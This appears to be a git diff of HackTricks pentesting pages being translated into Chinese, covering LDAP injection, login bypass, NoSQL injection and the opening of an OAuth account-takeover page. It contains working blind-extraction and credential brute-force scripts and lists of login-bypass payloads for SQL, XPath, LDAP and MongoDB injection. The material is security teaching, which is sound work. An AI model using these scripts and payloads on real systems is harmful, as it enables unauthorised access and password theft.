#### **发现有效的LDAP字段**
LDAP对象**默认包含多个属性**,可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP_attributes.txt)。
```python
#!/usr/bin/python3
import requests
@ -176,26 +169,24 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()
```
#### **Special Blind LDAP Injection (without "\*")**
#### **特殊盲 LDAP 注入(不带 "\*"**
```python
#!/usr/bin/python3
@ -204,30 +195,26 @@ alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break
```
### Google Dorks
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### More Payloads
### 更多有效载荷
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘!** (_需要流利的波兰语书写和口语能力_)。
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,54 +1,53 @@
# Login Bypass
# 登录绕过
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的活动之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的热烈交流平台。
{% embed url="https://www.rootedcon.com/" %}
## **Bypass regular login**
## **绕过常规登录**
If you find a login page, here you can find some techniques to try to bypass it:
如果你发现了登录页面,这里有一些可以尝试绕过它的技术:
- Check for **comments** inside the page (scroll down and to the right?)
- Check if you can **directly access the restricted pages**
- Check to **not send the parameters** (do not send any or only 1)
- Check the **PHP comparisons error:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **Change content type to json** and send json values (bool true included)
- If you get a response saying that POST is not supported you can try to send the **JSON in the body but with a GET request** with `Content-Type: application/json`
- Check nodejs potential parsing error (read [**this**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4)): `password[password]=1`
- Nodejs will transform that payload to a query similar to the following one: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` which makes the password bit to be always true.
- If you can send a JSON object you can send `"password":{"password": 1}` to bypass the login.
- Remember that to bypass this login you still need to **know and send a valid username**.
- **Adding `"stringifyObjects":true`** option when calling `mysql.createConnection` will eventually b**lock all unexpected behaviours when `Object` is passed** in the parameter.
- Check credentials:
- [**Default credentials**](../../generic-hacking/brute-force.md#default-credentials) of the technology/platform used
- **Common combinations** (root, admin, password, name of the tech, default user with one of these passwords).
- Create a dictionary using **Cewl**, **add** the **default** username and password (if there is) and try to brute-force it using all the words as **usernames and password**
- **Brute-force** using a bigger **dictionary (**[**Brute force**](../../generic-hacking/brute-force.md#http-post-form)**)**
- 检查页面内的 **评论**(向下滚动并向右?)
- 检查是否可以 **直接访问受限页面**
- 检查 **不发送参数**(不发送任何或仅发送 1 个)
- 检查 **PHP 比较错误:** `user[]=a&pwd=b` , `user=a&pwd[]=b` , `user[]=a&pwd[]=b`
- **将内容类型更改为 json** 并发送 json 值(包括 bool true
- 如果你收到一条消息说不支持 POST你可以尝试以 **GET 请求发送 JSON 到主体**,并设置 `Content-Type: application/json`
- 检查 nodejs 潜在的解析错误(阅读 [**这篇文章**](https://flattsecurity.medium.com/finding-an-unseen-sql-injection-by-bypassing-escape-functions-in-mysqljs-mysql-90b27f6542b4) `password[password]=1`
- Nodejs 会将该有效负载转换为类似以下的查询: ` SELECT id, username, left(password, 8) AS snipped_password, email FROM accounts WHERE username='admin' AND`` `` `**`password=password=1`**`;` 这使得密码部分始终为真。
- 如果你可以发送 JSON 对象,你可以发送 `"password":{"password": 1}` 来绕过登录。
- 记住,要绕过此登录,你仍然需要 **知道并发送有效的用户名**
- **在调用 `mysql.createConnection` 时添加 `"stringifyObjects":true`** 选项将最终 **阻止在参数中传递 `Object` 时的所有意外行为**
- 检查凭据:
- [**默认凭据**](../../generic-hacking/brute-force.md#default-credentials) 的技术/平台
- **常见组合**rootadminpassword技术名称带有这些密码之一的默认用户
- 使用 **Cewl** 创建字典,**添加** 默认用户名和密码(如果有),并尝试使用所有单词作为 **用户名和密码** 进行暴力破解
- **暴力破解** 使用更大的 **字典 (**[**暴力破解**](../../generic-hacking/brute-force.md#http-post-form)**)**
### SQL Injection authentication bypass
### SQL 注入认证绕过
[Here you can find several tricks to bypass the login via **SQL injections**](../sql-injection/#authentication-bypass).
[这里你可以找到几种通过 **SQL 注入** 绕过登录的技巧](../sql-injection/#authentication-bypass)。
In the following page you can find a **custom list to try to bypass login** via SQL Injections:
在以下页面中,你可以找到一个 **自定义列表以尝试通过 SQL 注入绕过登录**
{{#ref}}
sql-login-bypass.md
{{#endref}}
### No SQL Injection authentication bypass
### 无 SQL 注入认证绕过
[Here you can find several tricks to bypass the login via **No SQL Injections**](../nosql-injection.md#basic-authentication-bypass)**.**
[这里你可以找到几种通过 **无 SQL 注入** 绕过登录的技巧](../nosql-injection.md#basic-authentication-bypass)**。**
As the NoSQL Injections requires to change the parameters value, you will need to test them manually.
由于无 SQL 注入需要更改参数值,你需要手动测试它们。
### XPath Injection authentication bypass
[Here you can find several tricks to bypass the login via **XPath Injection.**](../xpath-injection.md#authentication-bypass)
### XPath 注入认证绕过
[这里你可以找到几种通过 **XPath 注入** 绕过登录的技巧](../xpath-injection.md#authentication-bypass)
```
' or '1'='1
' or ''='
@ -64,11 +63,9 @@ As the NoSQL Injections requires to change the parameters value, you will need t
admin' or '
admin' or '1'='2
```
### LDAP 注入认证绕过
### LDAP Injection authentication bypass
[Here you can find several tricks to bypass the login via **LDAP Injection.**](../ldap-injection.md#login-bypass)
[在这里你可以找到几种通过 **LDAP 注入** 绕过登录的技巧。](../ldap-injection.md#login-bypass)
```
*
*)(&
@ -82,29 +79,27 @@ admin)(!(&(|
pwd))
admin))(|(|
```
### 记住我
### Remember Me
如果页面有 "**记住我**" 功能,检查它是如何实现的,看看你是否可以利用它来 **接管其他账户**
If the page has "**Remember Me**" functionality check how is it implemented and see if you can abuse it to **takeover other accounts**.
### 重定向
### Redirects
页面通常在登录后会重定向用户,检查你是否可以更改该重定向以造成 [**开放重定向**](../open-redirect.md)。如果你将用户重定向到你的网站可能会窃取一些信息代码、cookies...)。
Pages usually redirects users after login, check if you can alter that redirect to cause an [**Open Redirect**](../open-redirect.md). Maybe you can steal some information (codes, cookies...) if you redirect the user to your web.
## 其他检查
## Other Checks
- 检查你是否可以通过登录功能 **枚举用户名**
- 检查密码/**敏感**信息 **表单** **输入** 中是否激活了 **自动完成**`<input autocomplete="false">`
- Check if you can **enumerate usernames** abusing the login functionality.
- Check if **auto-complete** is active in the password/**sensitive** information **forms** **input:** `<input autocomplete="false"`
## Automatic Tools
## 自动工具
- [HTLogin](https://github.com/akinerkisa/HTLogin)
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
[**RootedCON**](https://www.rootedcon.com/) **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会 **旨在促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
{% embed url="https://www.rootedcon.com/" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,16 +2,15 @@
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
This list contains **payloads to bypass the login via XPath, LDAP and SQL injection**(in that order).
The way to use this list is to put the **first 200 lines as the username and password.** Then, put the complete list in the username first and then in the password inputs while putting some password (like _Pass1234._) or some known username (like _admin_).
此列表包含**通过XPath、LDAP和SQL注入绕过登录的有效载荷**(按此顺序)。
使用此列表的方法是将**前200行作为用户名和密码。** 然后,将完整列表放在用户名输入框中,然后在密码输入框中放入一些密码(如 _Pass1234._)或一些已知用户名(如 _admin_)。
```
admin
password
@ -818,14 +817,12 @@ Pass1234." and 1=0 union select "admin",sha("Pass1234.")#
%8C%A8%27)||1-- 2
%bf')||1-- 2
```
<figure><img src="/images/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
**Get a hacker's perspective on your web apps, network, and cloud**
**从黑客的角度看待您的网络应用、网络和云**
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面发现让您提升权限的安全问题并使用自动化利用收集重要证据将您的辛勤工作转化为有说服力的报告。
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,20 @@
# NoSQL injection
# NoSQL 注入
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) 轻松构建和 **自动化工作流**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
{{#include ../banners/hacktricks-training.md}}
## Exploit
## 利用
In PHP you can send an Array changing the sent parameter from _parameter=foo_ to _parameter\[arrName]=foo._
The exploits are based in adding an **Operator**:
在 PHP 中,您可以通过将发送的参数从 _parameter=foo_ 更改为 _parameter\[arrName]=foo._ 来发送一个数组。
这些利用基于添加一个 **运算符**
```bash
username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@ -26,11 +25,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
```
### 基本认证绕过
### Basic authentication bypass
**Using not equal ($ne) or greater ($gt)**
**使用不等于 ($ne) 或大于 ($gt)**
```bash
#in URL
username[$ne]=toto&password[$ne]=toto
@ -42,30 +39,22 @@ username[$exists]=true&password[$exists]=true
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }
```
### **SQL - Mongo**
```javascript
query = { $where: `this.username == '${username}'` }
```
An attacker can exploit this by inputting strings like `admin' || 'a'=='a`, making the query return all documents by satisfying the condition with a tautology (`'a'=='a'`). This is analogous to SQL injection attacks where inputs like `' or 1=1-- -` are used to manipulate SQL queries. In MongoDB, similar injections can be done using inputs like `' || 1==1//`, `' || 1==1%00`, or `admin' || 'a'=='a`.
攻击者可以通过输入字符串如 `admin' || 'a'=='a` 来利用这一点,使查询返回所有文档,因为满足了一个恒真条件 (`'a'=='a'`)。这类似于 SQL 注入攻击,其中使用像 `' or 1=1-- -` 的输入来操纵 SQL 查询。在 MongoDB 中,可以使用类似的注入,通过输入如 `' || 1==1//``' || 1==1%00``admin' || 'a'=='a`
```
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
```
### Extract **length** information
### 提取 **长度** 信息
```bash
username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...
```
### Extract **data** information
### 提取 **数据** 信息
```
in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
@ -83,9 +72,7 @@ in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
```
### **SQL - Mongo**
```
/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
@ -97,55 +84,49 @@ in JSON
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 Found
```
### PHP 任意函数执行
### PHP Arbitrary Function Execution
Using the **$func** operator of the [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) library (used by default) it might be possible to execute and arbitrary function as in [this report](https://swarm.ptsecurity.com/rce-cockpit-cms/).
使用默认使用的 [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) 库的 **$func** 操作符,可能会执行任意函数,如 [此报告](https://swarm.ptsecurity.com/rce-cockpit-cms/) 中所示。
```python
"user":{"$func": "var_dump"}
```
![https://swarm.ptsecurity.com/wp-content/uploads/2021/04/cockpit_auth_check_10.png](<../images/image (933).png>)
### Get info from different collection
### 从不同集合获取信息
It's possible to use [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) to get info from a different collection. In the following example, we are reading from a **different collection** called **`users`** and getting the **results of all the entries** with a password matching a wildcard.
**NOTE:** `$lookup` and other aggregation functions are only available if the `aggregate()` function was used to perform the search instead of the more common `find()` or `findOne()` functions.
可以使用 [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) 从不同集合获取信息。在以下示例中,我们从一个名为 **`users`** 的 **不同集合** 中读取,并获取 **所有条目****结果**,这些条目的密码与通配符匹配。
**注意:** 只有在使用 `aggregate()` 函数进行搜索时,`$lookup` 和其他聚合函数才可用,而不是更常见的 `find()``findOne()` 函数。
```json
[
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
{
"$lookup": {
"from": "users",
"as": "resultado",
"pipeline": [
{
"$match": {
"password": {
"$regex": "^.*"
}
}
}
]
}
}
]
```
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}
## MongoDB Payloads
List [from here](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
列表 [从这里](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
```
true, $where: '1 == 1'
, $where: '1 == 1'
@ -175,9 +156,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
{"username": {"$gt":""}, "password": {"$gt":""}}
{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
```
## Blind NoSQL Script
## 盲目 NoSQL 脚本
```python
import requests, string
@ -185,13 +164,13 @@ alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@
flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
```
```python
@ -205,19 +184,17 @@ username="admin"
password=""
while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c
```
### 从POST登录进行暴力破解登录用户名和密码
### Brute-force login usernames and passwords from POST login
This is a simple script that you could modify but the previous tools can also do this task.
这是一个简单的脚本,您可以对其进行修改,但之前的工具也可以完成此任务。
```python
import requests
import string
@ -227,43 +204,42 @@ headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")
def get_usernames(prefix):
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*"}
for c in possible_chars:
username = "^" + prefix + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print(username)
for user in get_usernames(prefix + c):
usernames.append(user)
return usernames
for u in get_usernames(""):
get_password(u)
get_password(u)
```
## Tools
## 工具
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
## References
## 参考资料
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
@ -275,8 +251,7 @@ for u in get_usernames(""):
<figure><img src="../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
使用 [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=nosql-injection) 轻松构建和 **自动化工作流程**,由世界上 **最先进** 的社区工具提供支持。\
今天就获取访问权限:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=nosql-injection" %}

View File

@ -1,4 +1,4 @@
# OAuth to Account takeover
# OAuth 到账户接管
{{#include ../banners/hacktricks-training.md}}
@ -6,36 +6,35 @@
{% embed url="https://websec.nl/" %}
## Basic Information <a href="#d4a8" id="d4a8"></a>
## 基本信息 <a href="#d4a8" id="d4a8"></a>
OAuth offers various versions, with foundational insights accessible at [OAuth 2.0 documentation](https://oauth.net/2/). This discussion primarily centers on the widely used [OAuth 2.0 authorization code grant type](https://oauth.net/2/grant-types/authorization-code/), providing an **authorization framework that enables an application to access or perform actions on a user's account in another application** (the authorization server).
OAuth 提供了多个版本,基础信息可在 [OAuth 2.0 documentation](https://oauth.net/2/) 中获取。本讨论主要集中在广泛使用的 [OAuth 2.0 授权码授权类型](https://oauth.net/2/grant-types/authorization-code/),提供一个 **授权框架,使应用程序能够访问或在另一个应用程序中执行用户账户的操作**(授权服务器)。
Consider a hypothetical website _**https://example.com**_, designed to **showcase all your social media posts**, including private ones. To achieve this, OAuth 2.0 is employed. _https://example.com_ will request your permission to **access your social media posts**. Consequently, a consent screen will appear on _https://socialmedia.com_, outlining the **permissions being requested and the developer making the request**. Upon your authorization, _https://example.com_ gains the ability to **access your posts on your behalf**.
考虑一个假设的网站 _**https://example.com**_,旨在 **展示您所有的社交媒体帖子**,包括私人帖子。为此,使用了 OAuth 2.0。_https://example.com_ 将请求您 **访问您的社交媒体帖子** 的权限。因此_https://socialmedia.com_ 上会出现一个同意屏幕,概述 **请求的权限和发起请求的开发者**。在您授权后_https://example.com_ 获得 **代表您访问您的帖子** 的能力。
It's essential to grasp the following components within the OAuth 2.0 framework:
理解 OAuth 2.0 框架中的以下组件至关重要:
- **resource owner**: You, as the **user/entity**, authorize access to your resource, like your social media account posts.
- **resource server**: The **server managing authenticated requests** after the application has secured an `access token` on behalf of the `resource owner`, e.g., **https://socialmedia.com**.
- **client application**: The **application seeking authorization** from the `resource owner`, such as **https://example.com**.
- **authorization server**: The **server that issues `access tokens`** to the `client application` following the successful authentication of the `resource owner` and securing authorization, e.g., **https://socialmedia.com**.
- **client_id**: A public, unique identifier for the application.
- **client_secret:** A confidential key, known solely to the application and the authorization server, used for generating `access_tokens`.
- **response_type**: A value specifying **the type of token requested**, like `code`.
- **scope**: The **level of access** the `client application` is requesting from the `resource owner`.
- **redirect_uri**: The **URL to which the user is redirected after authorization**. This typically must align with the pre-registered redirect URL.
- **state**: A parameter to **maintain data across the user's redirection to and from the authorization server**. Its uniqueness is critical for serving as a **CSRF protection mechanism**.
- **grant_type**: A parameter indicating **the grant type and the type of token to be returned**.
- **code**: The authorization code from the `authorization server`, used in tandem with `client_id` and `client_secret` by the client application to acquire an `access_token`.
- **access_token**: The **token that the client application uses for API requests** on behalf of the `resource owner`.
- **refresh_token**: Enables the application to **obtain a new `access_token` without re-prompting the user**.
- **资源拥有者**:您,作为 **用户/实体**,授权访问您的资源,例如您的社交媒体账户帖子。
- **资源服务器**:在应用程序为 `资源拥有者` 获取 `access token` 后,**管理经过身份验证请求的服务器**,例如 **https://socialmedia.com**
- **客户端应用程序****请求 `资源拥有者` 授权的应用程序**,例如 **https://example.com**
- **授权服务器**:在成功验证 `资源拥有者` 并获得授权后,**向 `客户端应用程序` 发放 `access tokens` 的服务器**,例如 **https://socialmedia.com**
- **client_id**:应用程序的公共唯一标识符。
- **client_secret**:仅为应用程序和授权服务器所知的机密密钥,用于生成 `access_tokens`
- **response_type**:指定 **请求的令牌类型** 的值,例如 `code`
- **scope**`客户端应用程序` 请求的 **访问级别**
- **redirect_uri**:用户在授权后被重定向的 **URL**。这通常必须与预注册的重定向 URL 对齐。
- **state**:一个参数,用于 **在用户重定向到授权服务器及返回时维护数据**。其唯一性对于作为 **CSRF 保护机制** 至关重要。
- **grant_type**:指示 **授权类型和要返回的令牌类型** 的参数。
- **code**:来自 `授权服务器` 的授权码,客户端应用程序与 `client_id``client_secret` 一起使用以获取 `access_token`
- **access_token**:客户端应用程序代表 `资源拥有者` 用于 API 请求的 **令牌**
- **refresh_token**:使应用程序能够 **在不重新提示用户的情况下获取新的 `access_token`**
### Flow
### 流程
The **actual OAuth flow** proceeds as follows:
1. You navigate to [https://example.com](https://example.com) and select the “Integrate with Social Media” button.
2. The site then sends a request to [https://socialmedia.com](https://socialmedia.com) asking for your authorization to let https://example.coms application access your posts. The request is structured as:
**实际的 OAuth 流程** 如下:
1. 您导航到 [https://example.com](https://example.com) 并选择“与社交媒体集成”按钮。
2. 然后该网站向 [https://socialmedia.com](https://socialmedia.com) 发送请求,请求您的授权以让 https://example.com 的应用程序访问您的帖子。请求结构如下:
```
https://socialmedia.com/auth
?response_type=code
@ -44,70 +43,62 @@ https://socialmedia.com/auth
&scope=readPosts
&state=randomString123
```
3. You are then presented with a consent page.
4. Following your approval, Social Media sends a response to the `redirect_uri` with the `code` and `state` parameters:
3. 然后您将看到一个同意页面。
4. 在您批准后,社交媒体会将带有 `code``state` 参数的响应发送到 `redirect_uri`
```
https://example.com?code=uniqueCode123&state=randomString123
```
5. https://example.com utilizes this `code`, together with its `client_id` and `client_secret`, to make a server-side request to obtain an `access_token` on your behalf, enabling access to the permissions you consented to:
5. https://example.com 利用这个 `code`,连同它的 `client_id``client_secret`,向服务器发起请求以代表您获取 `access_token`,从而访问您同意的权限:
```
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
```
6. 最后,过程结束时 https://example.com 使用您的 `access_token` 进行 API 调用以访问
6. Finally, the process concludes as https://example.com employs your `access_token` to make an API call to Social Media to access
## 漏洞 <a href="#id-323a" id="id-323a"></a>
## Vulnerabilities <a href="#id-323a" id="id-323a"></a>
### 开放的 redirect_uri <a href="#cc36" id="cc36"></a>
### Open redirect_uri <a href="#cc36" id="cc36"></a>
`redirect_uri` 对于 OAuth 和 OpenID 实现的安全性至关重要,因为它指示在授权后敏感数据(如授权代码)发送到何处。如果配置错误,可能会允许攻击者将这些请求重定向到恶意服务器,从而实现账户接管。
The `redirect_uri` is crucial for security in OAuth and OpenID implementations, as it directs where sensitive data, like authorization codes, are sent post-authorization. If misconfigured, it could allow attackers to redirect these requests to malicious servers, enabling account takeover.
